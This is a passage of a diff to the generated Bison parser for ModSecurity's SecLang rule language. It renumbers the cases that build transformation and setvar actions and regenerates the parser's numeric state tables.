"seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::HexEncode(yystack_[0].value.as < std::string > ())); } -#line 5436 "seclang-parser.cc" +#line 5590 "seclang-parser.cc" break; - case 414: // act: "ACTION_TRANSFORMATION_HEX_DECODE" -#line 2933 "seclang-parser.yy" + case 428: // act: "ACTION_TRANSFORMATION_HEX_DECODE" +#line 3035 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::HexDecode(yystack_[0].value.as < std::string > ())); } -#line 5444 "seclang-parser.cc" +#line 5598 "seclang-parser.cc" break; - case 415: // act: "ACTION_TRANSFORMATION_LOWERCASE" -#line 2937 "seclang-parser.yy" + case 429: // act: "ACTION_TRANSFORMATION_LOWERCASE" +#line 3039 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::LowerCase(yystack_[0].value.as < std::string > ())); } -#line 5452 "seclang-parser.cc" +#line 5606 "seclang-parser.cc" break; - case 416: // act: "ACTION_TRANSFORMATION_UPPERCASE" -#line 2941 "seclang-parser.yy" + case 430: // act: "ACTION_TRANSFORMATION_UPPERCASE" +#line 3043 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::UpperCase(yystack_[0].value.as < std::string > ())); } -#line 5460 "seclang-parser.cc" +#line 5614 "seclang-parser.cc" break; - case 417: // act: "ACTION_TRANSFORMATION_URL_DECODE_UNI" -#line 2945 "seclang-parser.yy" + case 431: // act: "ACTION_TRANSFORMATION_URL_DECODE_UNI" +#line 3047 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::UrlDecodeUni(yystack_[0].value.as < std::string > ())); } -#line 5468 "seclang-parser.cc" +#line 5622 "seclang-parser.cc" break; - case 418: // act: "ACTION_TRANSFORMATION_URL_DECODE" -#line 2949 "seclang-parser.yy" + case 432: // act: "ACTION_TRANSFORMATION_URL_DECODE" +#line 3051 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::UrlDecode(yystack_[0].value.as < std::string > ())); } -#line 5476 "seclang-parser.cc" +#line 5630 "seclang-parser.cc" break; - case 419: // act: "ACTION_TRANSFORMATION_URL_ENCODE" -#line 2953 "seclang-parser.yy" + case 433: // act: "ACTION_TRANSFORMATION_URL_ENCODE" +#line 3055 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::UrlEncode(yystack_[0].value.as < std::string > ())); } -#line 5484 "seclang-parser.cc" +#line 5638 "seclang-parser.cc" break; - case 420: // act: "ACTION_TRANSFORMATION_NONE" -#line 2957 "seclang-parser.yy" + case 434: // act: "ACTION_TRANSFORMATION_NONE" +#line 3059 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::None(yystack_[0].value.as < std::string > ())); } -#line 5492 "seclang-parser.cc" +#line 5646 "seclang-parser.cc" break; - case 421: // act: "ACTION_TRANSFORMATION_COMPRESS_WHITESPACE" -#line 2961 "seclang-parser.yy" + case 435: // act: "ACTION_TRANSFORMATION_COMPRESS_WHITESPACE" +#line 3063 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::CompressWhitespace(yystack_[0].value.as < std::string > ())); } -#line 5500 "seclang-parser.cc" +#line 5654 "seclang-parser.cc" break; - case 422: // act: "ACTION_TRANSFORMATION_REMOVE_WHITESPACE" -#line 2965 "seclang-parser.yy" + case 436: // act: "ACTION_TRANSFORMATION_REMOVE_WHITESPACE" +#line 3067 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::RemoveWhitespace(yystack_[0].value.as < std::string > ())); } -#line 5508 "seclang-parser.cc" +#line 5662 "seclang-parser.cc" break; - case 423: // act: "ACTION_TRANSFORMATION_REPLACE_NULLS" -#line 2969 "seclang-parser.yy" + case 437: // act: "ACTION_TRANSFORMATION_REPLACE_NULLS" +#line 3071 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::ReplaceNulls(yystack_[0].value.as < std::string > ())); } -#line 5516 "seclang-parser.cc" +#line 5670 "seclang-parser.cc" break; - case 424: // act: "ACTION_TRANSFORMATION_REMOVE_NULLS" -#line 2973 "seclang-parser.yy" + case 438: // act: "ACTION_TRANSFORMATION_REMOVE_NULLS" +#line 3075 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::RemoveNulls(yystack_[0].value.as < std::string > ())); } -#line 5524 "seclang-parser.cc" +#line 5678 "seclang-parser.cc" break; - case 425: // act: "ACTION_TRANSFORMATION_HTML_ENTITY_DECODE" -#line 2977 "seclang-parser.yy" + case 439: // act: "ACTION_TRANSFORMATION_HTML_ENTITY_DECODE" +#line 3079 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::HtmlEntityDecode(yystack_[0].value.as < std::string > ())); } -#line 5532 "seclang-parser.cc" +#line 5686 "seclang-parser.cc" break; - case 426: // act: "ACTION_TRANSFORMATION_JS_DECODE" -#line 2981 "seclang-parser.yy" + case 440: // act: "ACTION_TRANSFORMATION_JS_DECODE" +#line 3083 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::JsDecode(yystack_[0].value.as < std::string > ())); } -#line 5540 "seclang-parser.cc" +#line 5694 "seclang-parser.cc" break; - case 427: // act: "ACTION_TRANSFORMATION_CSS_DECODE" -#line 2985 "seclang-parser.yy" + case 441: // act: "ACTION_TRANSFORMATION_CSS_DECODE" +#line 3087 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::CssDecode(yystack_[0].value.as < std::string > ())); } -#line 5548 "seclang-parser.cc" +#line 5702 "seclang-parser.cc" break; - case 428: // act: "ACTION_TRANSFORMATION_TRIM" -#line 2989 "seclang-parser.yy" + case 442: // act: "ACTION_TRANSFORMATION_TRIM" +#line 3091 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Trim(yystack_[0].value.as < std::string > ())); } -#line 5556 "seclang-parser.cc" +#line 5710 "seclang-parser.cc" break; - case 429: // act: "ACTION_TRANSFORMATION_TRIM_LEFT" -#line 2993 "seclang-parser.yy" + case 443: // act: "ACTION_TRANSFORMATION_TRIM_LEFT" +#line 3095 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::TrimLeft(yystack_[0].value.as < std::string > ())); } -#line 5564 "seclang-parser.cc" +#line 5718 "seclang-parser.cc" break; - case 430: // act: "ACTION_TRANSFORMATION_TRIM_RIGHT" -#line 2997 "seclang-parser.yy" + case 444: // act: "ACTION_TRANSFORMATION_TRIM_RIGHT" +#line 3099 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::TrimRight(yystack_[0].value.as < std::string > ())); } -#line 5572 "seclang-parser.cc" +#line 5726 "seclang-parser.cc" break; - case 431: // act: "ACTION_TRANSFORMATION_NORMALISE_PATH_WIN" -#line 3001 "seclang-parser.yy" + case 445: // act: "ACTION_TRANSFORMATION_NORMALISE_PATH_WIN" +#line 3103 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::NormalisePathWin(yystack_[0].value.as < std::string > ())); } -#line 5580 "seclang-parser.cc" +#line 5734 "seclang-parser.cc" break; - case 432: // act: "ACTION_TRANSFORMATION_NORMALISE_PATH" -#line 3005 "seclang-parser.yy" + case 446: // act: "ACTION_TRANSFORMATION_NORMALISE_PATH" +#line 3107 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::NormalisePath(yystack_[0].value.as < std::string > ())); } -#line 5588 "seclang-parser.cc" +#line 5742 "seclang-parser.cc" break; - case 433: // act: "ACTION_TRANSFORMATION_LENGTH" -#line 3009 "seclang-parser.yy" + case 447: // act: "ACTION_TRANSFORMATION_LENGTH" +#line 3111 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Length(yystack_[0].value.as < std::string > ())); } -#line 5596 "seclang-parser.cc" +#line 5750 "seclang-parser.cc" break; - case 434: // act: "ACTION_TRANSFORMATION_UTF8_TO_UNICODE" -#line 3013 "seclang-parser.yy" + case 448: // act: "ACTION_TRANSFORMATION_UTF8_TO_UNICODE" +#line 3115 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::Utf8ToUnicode(yystack_[0].value.as < std::string > ())); } -#line 5604 "seclang-parser.cc" +#line 5758 "seclang-parser.cc" break; - case 435: // act: "ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR" -#line 3017 "seclang-parser.yy" + case 449: // act: "ACTION_TRANSFORMATION_REMOVE_COMMENTS_CHAR" +#line 3119 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::RemoveCommentsChar(yystack_[0].value.as < std::string > ())); } -#line 5612 "seclang-parser.cc" +#line 5766 "seclang-parser.cc" break; - case 436: // act: "ACTION_TRANSFORMATION_REMOVE_COMMENTS" -#line 3021 "seclang-parser.yy" + case 450: // act: "ACTION_TRANSFORMATION_REMOVE_COMMENTS" +#line 3123 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::RemoveComments(yystack_[0].value.as < std::string > ())); } -#line 5620 "seclang-parser.cc" +#line 5774 "seclang-parser.cc" break; - case 437: // act: "ACTION_TRANSFORMATION_REPLACE_COMMENTS" -#line 3025 "seclang-parser.yy" + case 451: // act: "ACTION_TRANSFORMATION_REPLACE_COMMENTS" +#line 3127 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::transformations::ReplaceComments(yystack_[0].value.as < std::string > ())); } -#line 5628 "seclang-parser.cc" +#line 5782 "seclang-parser.cc" break; - case 438: // setvar_action: "NOT" var -#line 3032 "seclang-parser.yy" + case 452: // setvar_action: "NOT" var +#line 3134 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetVar(actions::SetVarOperation::unsetOperation, std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5636 "seclang-parser.cc" +#line 5790 "seclang-parser.cc" break; - case 439: // setvar_action: var -#line 3036 "seclang-parser.yy" + case 453: // setvar_action: var +#line 3138 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetVar(actions::SetVarOperation::setToOneOperation, std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5644 "seclang-parser.cc" +#line 5798 "seclang-parser.cc" break; - case 440: // setvar_action: var SETVAR_OPERATION_EQUALS run_time_string -#line 3040 "seclang-parser.yy" + case 454: // setvar_action: var SETVAR_OPERATION_EQUALS run_time_string +#line 3142 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetVar(actions::SetVarOperation::setOperation, std::move(yystack_[2].value.as < std::unique_ptr > ()), std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5652 "seclang-parser.cc" +#line 5806 "seclang-parser.cc" break; - case 441: // setvar_action: var SETVAR_OPERATION_EQUALS_PLUS run_time_string -#line 3044 "seclang-parser.yy" + case 455: // setvar_action: var SETVAR_OPERATION_EQUALS_PLUS run_time_string +#line 3146 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetVar(actions::SetVarOperation::sumAndSetOperation, std::move(yystack_[2].value.as < std::unique_ptr > ()), std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5660 "seclang-parser.cc" +#line 5814 "seclang-parser.cc" break; - case 442: // setvar_action: var SETVAR_OPERATION_EQUALS_MINUS run_time_string -#line 3048 "seclang-parser.yy" + case 456: // setvar_action: var SETVAR_OPERATION_EQUALS_MINUS run_time_string +#line 3150 "seclang-parser.yy" { ACTION_CONTAINER(yylhs.value.as < std::unique_ptr > (), new actions::SetVar(actions::SetVarOperation::substractAndSetOperation, std::move(yystack_[2].value.as < std::unique_ptr > ()), std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 5668 "seclang-parser.cc" +#line 5822 "seclang-parser.cc" break; - case 443: // run_time_string: run_time_string "FREE_TEXT_QUOTE_MACRO_EXPANSION" -#line 3055 "seclang-parser.yy" + case 457: // run_time_string: run_time_string "FREE_TEXT_QUOTE_MACRO_EXPANSION" +#line 3157 "seclang-parser.yy" { yystack_[1].value.as < std::unique_ptr > ()->appendText(yystack_[0].value.as < std::string > ()); yylhs.value.as < std::unique_ptr > () = std::move(yystack_[1].value.as < std::unique_ptr > ()); } -#line 5677 "seclang-parser.cc" +#line 5831 "seclang-parser.cc" break; - case 444: // run_time_string: run_time_string var -#line 3060 "seclang-parser.yy" + case 458: // run_time_string: run_time_string var +#line 3162 "seclang-parser.yy" { yystack_[1].value.as < std::unique_ptr > ()->appendVar(std::move(yystack_[0].value.as < std::unique_ptr > ())); yylhs.value.as < std::unique_ptr > () = std::move(yystack_[1].value.as < std::unique_ptr > ()); } -#line 5686 "seclang-parser.cc" +#line 5840 "seclang-parser.cc" break; - case 445: // run_time_string: "FREE_TEXT_QUOTE_MACRO_EXPANSION" -#line 3065 "seclang-parser.yy" + case 459: // run_time_string: "FREE_TEXT_QUOTE_MACRO_EXPANSION" +#line 3167 "seclang-parser.yy" { std::unique_ptr r(new RunTimeString()); r->appendText(yystack_[0].value.as < std::string > ()); yylhs.value.as < std::unique_ptr > () = std::move(r); } -#line 5696 "seclang-parser.cc" +#line 5850 "seclang-parser.cc" break; - case 446: // run_time_string: var -#line 3071 "seclang-parser.yy" + case 460: // run_time_string: var +#line 3173 "seclang-parser.yy" { std::unique_ptr r(new RunTimeString()); r->appendVar(std::move(yystack_[0].value.as < std::unique_ptr > ())); yylhs.value.as < std::unique_ptr > () = std::move(r); } -#line 5706 "seclang-parser.cc" +#line 5860 "seclang-parser.cc" break; -#line 5710 "seclang-parser.cc" +#line 5864 "seclang-parser.cc" default: break; @@ -6058,331 +6212,340 @@ namespace yy { } - const short seclang_parser::yypact_ninf_ = -308; + const short seclang_parser::yypact_ninf_ = -424; const signed char seclang_parser::yytable_ninf_ = -1; const short seclang_parser::yypact_[] = { - 2802, -308, -279, -308, -102, -308, -143, -308, -308, -308, - -308, -308, -294, -308, -308, -308, -308, -308, -276, -308, - -308, -308, -101, -99, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -97, - -308, -308, -98, -308, -93, -308, -94, -89, -308, -286, - -92, -92, -308, -308, -308, -308, -87, -303, -308, -308, - -308, 1508, 1508, 1508, -92, -273, -85, -308, -308, -308, - -83, -308, -308, -308, -308, -308, -308, -308, -308, -308, - 1508, -92, 2946, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, 2364, -261, -308, -308, -308, - -308, -308, -308, -308, -267, -308, -308, -308, -308, -81, - -79, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, 2499, -308, 2499, -308, 2499, -308, -308, -308, -308, - -308, -308, -308, -308, 2499, -308, -308, -308, -308, -308, - -308, 2499, 2499, 2499, 2499, -308, -308, -308, -308, 2499, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, 3133, -308, - 2, -308, -308, -308, -308, -308, -308, 2698, 2698, -307, - -292, -197, -193, -192, -187, -186, -183, -182, -172, -171, - -168, -167, -164, -163, -160, -159, -308, -156, -155, -152, - -151, -308, -308, -148, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -147, -308, -308, -308, -308, -308, 462, -308, -308, - -308, -144, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, 554, 646, 984, 1076, 1168, -141, - -140, 1602, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, 16, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, 2030, -308, - -308, -308, -308, 2698, -53, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, 2591, 2591, - 2591, 2591, 2591, 2591, 2591, 2591, 2591, 3, 3133, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, -308, - -308, -308, -308, -308, -308, -308, -308, -308, -308, 2591, - -308, -308, -308, -308, 2591, -308, -308, 2591, -308, -308, - 2591, -308, -308, 2591, -308, -308, 2591, -308, -308, -308, - -308, 8, 1696, 2165, 2499, 2499, 2499, -308, -308, 2499, - 2499, 2499, -308, 2499, 2499, 2499, 2499, 2499, 2499, 2499, - 2499, 2499, 2499, 2499, 2499, 2499, 2499, 2499, 2499, -308, - 2499, 2499, 2499, 2499, -308, -308, 2499, 2499, 2499, 2499, - 2499, -92, -308, 2591, -308, 2499, 2499, 2499, -308, -308, - -308, -308, -308, 2698, 2698, -308, -308, 2591, 2591, 2591, - 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, - 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, - 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, 2591, -308, - 2591, 2591, 2591, -308, -308 + 2874, -424, -294, -424, 71, -424, -93, -424, -424, -424, + -424, -424, -282, -424, -424, -424, -424, -424, -424, -285, + -424, -424, -424, -91, -89, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -87, -424, -424, -88, -424, -83, -424, -84, -79, -424, + -267, -95, -95, -424, -424, -424, -424, -77, -293, -424, + -424, -424, 1550, 1550, 1550, -95, -276, -75, -424, -424, + -424, -72, -302, -424, -424, -424, -424, -424, -424, -424, + -424, -424, 1550, -95, 3020, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, 2426, -265, -424, + -424, -424, -424, -424, -424, -424, -274, -424, -424, -424, + -424, -70, -262, -68, -424, -424, -424, -424, -424, -424, + -424, -424, 2564, -424, 2564, -424, 2564, -424, 2564, -424, + -424, -424, -424, -424, -424, -424, -424, 2564, -424, -424, + -424, -424, -424, -424, 2564, 2564, 2564, 2564, -424, -424, + -424, -424, 2564, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, 3209, -424, 3, -424, -424, -424, -424, -424, -424, + 2767, 2767, -199, -198, -192, -191, -188, -187, -178, -177, + -174, -173, -170, -169, -166, -165, -162, -161, -158, -157, + -154, -424, -153, -150, -149, -145, -424, -424, -144, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -140, -424, -424, + -424, -424, -424, 478, -424, -424, -424, -139, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + 573, 668, 1013, 1108, 1203, -136, -135, 1647, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, 9, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, 2085, -424, -424, + -424, -424, 2767, 43, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, + 8, 3209, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, -424, -424, -424, -424, + -424, -424, -424, -424, -424, -424, 2659, -424, -424, -424, + -424, 2659, -424, -424, 2659, -424, -424, 2659, -424, -424, + 2659, -424, -424, 2659, -424, -424, -424, -424, 13, 1744, + 2223, 2564, 2564, 2564, -424, -424, 2564, 2564, 2564, -424, + 2564, 2564, 2564, 2564, 2564, 2564, 2564, 2564, 2564, 2564, + 2564, 2564, 2564, 2564, 2564, 2564, -424, 2564, 2564, 2564, + 2564, -424, -424, 2564, 2564, 2564, 2564, 2564, -95, -424, + 2659, -424, 2564, 2564, 2564, -424, -424, -424, -424, -424, + 2767, 2767, -424, -424, 2659, 2659, 2659, 2659, 2659, 2659, + 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, + 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, 2659, + 2659, 2659, 2659, 2659, 2659, 2659, -424, 2659, 2659, 2659, + -424, -424 }; const short seclang_parser::yydefact_[] = { - 0, 2, 0, 143, 0, 89, 0, 88, 92, 93, - 7, 6, 0, 11, 14, 12, 13, 17, 0, 126, - 125, 94, 0, 0, 102, 103, 104, 105, 99, 127, - 106, 107, 141, 140, 110, 111, 112, 128, 129, 0, - 132, 130, 0, 131, 0, 133, 0, 0, 115, 0, - 0, 0, 80, 152, 153, 154, 0, 0, 118, 120, - 119, 0, 0, 0, 0, 0, 0, 26, 24, 25, - 0, 142, 148, 149, 150, 147, 151, 116, 117, 146, - 0, 0, 0, 4, 74, 5, 98, 97, 15, 16, - 91, 90, 9, 10, 8, 20, 19, 18, 96, 95, - 101, 100, 85, 84, 134, 135, 87, 86, 136, 137, - 114, 113, 83, 81, 82, 0, 0, 339, 340, 341, - 342, 343, 344, 345, 0, 349, 350, 351, 352, 0, - 0, 360, 361, 362, 363, 364, 365, 366, 367, 368, - 369, 0, 372, 0, 373, 0, 375, 376, 377, 378, - 379, 380, 381, 382, 0, 384, 385, 386, 387, 388, - 389, 0, 0, 0, 0, 395, 396, 397, 398, 0, - 406, 407, 408, 409, 421, 427, 412, 413, 414, 425, - 426, 433, 415, 411, 420, 432, 431, 404, 403, 402, - 436, 435, 424, 422, 437, 423, 410, 405, 428, 429, - 430, 416, 419, 418, 417, 434, 400, 401, 0, 77, - 30, 32, 79, 109, 108, 138, 139, 0, 0, 166, - 169, 172, 175, 178, 181, 184, 187, 190, 193, 196, - 199, 202, 205, 208, 211, 214, 267, 256, 217, 253, - 259, 268, 269, 226, 270, 271, 272, 273, 274, 275, - 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, - 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, - 296, 297, 299, 298, 302, 301, 300, 303, 305, 304, - 306, 262, 307, 308, 309, 311, 310, 230, 312, 313, - 263, 266, 314, 315, 316, 317, 318, 319, 320, 321, - 322, 325, 323, 324, 234, 238, 246, 250, 242, 220, - 223, 0, 327, 326, 328, 329, 330, 331, 332, 333, - 334, 335, 336, 337, 338, 121, 156, 161, 122, 123, - 124, 22, 21, 23, 28, 27, 144, 145, 0, 155, - 78, 1, 3, 0, 439, 394, 359, 358, 357, 347, - 346, 348, 354, 353, 356, 355, 445, 446, 370, 371, - 374, 383, 390, 391, 392, 393, 399, 0, 0, 163, - 162, 164, 165, 167, 168, 170, 171, 173, 174, 176, - 177, 179, 180, 182, 183, 185, 186, 188, 189, 191, - 192, 194, 195, 197, 198, 200, 201, 203, 204, 206, - 207, 209, 210, 212, 213, 254, 255, 215, 216, 251, - 252, 257, 258, 224, 225, 260, 261, 228, 229, 227, - 264, 265, 232, 233, 231, 236, 237, 235, 244, 245, - 243, 248, 249, 247, 240, 241, 239, 218, 219, 221, - 222, 0, 0, 0, 0, 0, 0, 38, 39, 0, - 0, 0, 73, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 37, - 0, 0, 0, 0, 40, 41, 0, 0, 0, 0, - 0, 76, 33, 35, 438, 0, 0, 0, 443, 444, - 29, 31, 157, 0, 0, 158, 34, 36, 72, 56, - 55, 57, 58, 43, 59, 52, 60, 42, 61, 62, - 63, 64, 65, 66, 67, 53, 68, 69, 70, 71, - 44, 45, 46, 47, 48, 49, 50, 51, 54, 75, - 440, 441, 442, 160, 159 + 0, 2, 0, 144, 0, 90, 0, 89, 93, 94, + 7, 6, 0, 11, 14, 12, 13, 17, 18, 0, + 127, 126, 95, 0, 0, 103, 104, 105, 106, 100, + 128, 107, 108, 142, 141, 111, 112, 113, 129, 130, + 0, 133, 131, 0, 132, 0, 134, 0, 0, 116, + 0, 0, 0, 81, 156, 157, 158, 0, 0, 119, + 121, 120, 0, 0, 0, 0, 0, 0, 27, 25, + 26, 0, 0, 143, 152, 153, 154, 151, 155, 117, + 118, 150, 0, 0, 0, 4, 75, 5, 99, 98, + 15, 16, 92, 91, 9, 10, 8, 21, 20, 19, + 97, 96, 102, 101, 86, 85, 135, 136, 88, 87, + 137, 138, 115, 114, 84, 82, 83, 0, 0, 350, + 351, 352, 353, 354, 355, 356, 0, 360, 361, 362, + 363, 0, 0, 0, 374, 375, 376, 377, 378, 379, + 380, 381, 0, 383, 0, 386, 0, 387, 0, 389, + 390, 391, 392, 393, 394, 395, 396, 0, 398, 399, + 400, 401, 402, 403, 0, 0, 0, 0, 409, 410, + 411, 412, 0, 420, 421, 422, 423, 435, 441, 426, + 427, 428, 439, 440, 447, 429, 425, 434, 446, 445, + 418, 417, 416, 450, 449, 438, 436, 451, 437, 424, + 419, 442, 443, 444, 430, 433, 432, 431, 448, 414, + 415, 0, 78, 31, 33, 80, 110, 109, 139, 140, + 0, 0, 170, 173, 176, 179, 182, 185, 188, 191, + 194, 197, 200, 203, 206, 209, 212, 215, 218, 221, + 224, 277, 266, 227, 263, 269, 278, 279, 236, 280, + 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, + 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, + 301, 302, 303, 304, 305, 306, 307, 308, 310, 309, + 313, 312, 311, 314, 316, 315, 317, 272, 318, 319, + 320, 322, 321, 240, 323, 324, 273, 276, 325, 326, + 327, 328, 329, 330, 331, 332, 333, 336, 334, 335, + 244, 248, 256, 260, 252, 230, 233, 0, 338, 337, + 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, + 349, 122, 160, 165, 123, 124, 125, 23, 22, 24, + 29, 28, 145, 146, 147, 148, 149, 0, 159, 79, + 1, 3, 0, 453, 408, 373, 372, 371, 358, 357, + 359, 365, 364, 368, 367, 366, 370, 369, 459, 460, + 382, 384, 385, 388, 397, 404, 405, 406, 407, 413, + 0, 0, 167, 166, 168, 169, 171, 172, 174, 175, + 177, 178, 180, 181, 183, 184, 186, 187, 189, 190, + 192, 193, 195, 196, 198, 199, 201, 202, 204, 205, + 207, 208, 210, 211, 213, 214, 216, 217, 219, 220, + 222, 223, 264, 265, 225, 226, 261, 262, 267, 268, + 234, 235, 270, 271, 238, 239, 237, 274, 275, 242, + 243, 241, 246, 247, 245, 254, 255, 253, 258, 259, + 257, 250, 251, 249, 228, 229, 231, 232, 0, 0, + 0, 0, 0, 0, 39, 40, 0, 0, 0, 74, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 38, 0, 0, 0, + 0, 41, 42, 0, 0, 0, 0, 0, 77, 34, + 36, 452, 0, 0, 0, 457, 458, 30, 32, 161, + 0, 0, 162, 35, 37, 73, 57, 56, 58, 59, + 44, 60, 53, 61, 43, 62, 63, 64, 65, 66, + 67, 68, 54, 69, 70, 71, 72, 45, 46, 47, + 48, 49, 50, 51, 52, 55, 76, 454, 455, 456, + 164, 163 }; const short seclang_parser::yypgoto_[] = { - -308, -308, -74, -308, -47, -59, -308, -211, -308, -308, - -51, -78, -61, -134, -308, -136 + -424, -424, -54, -424, -48, -168, -424, -423, -424, -424, + -55, -160, -62, -213, -424, -141 }; const short seclang_parser::yydefgoto_[] = { - 0, 82, 83, 84, 209, 210, 481, 482, 85, 338, - 325, 326, 357, 211, 345, 358 + 0, 84, 85, 86, 212, 213, 498, 499, 87, 347, + 331, 332, 369, 214, 354, 370 }; const short seclang_parser::yytable_[] = { - 327, 327, 327, 215, 212, 368, 368, 359, 342, 360, - 115, 328, 329, 216, 442, 92, 93, 330, 361, 327, - 94, 112, 442, 113, 114, 362, 363, 364, 365, 339, - 86, 87, 95, 366, 340, 96, 331, 332, 371, 97, - 372, 333, 349, 350, 88, 89, 346, 351, 347, 348, - 485, 486, 487, 373, 344, 374, 116, 117, 118, 119, - 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, - 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, - 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, - 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, - 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, - 170, 171, 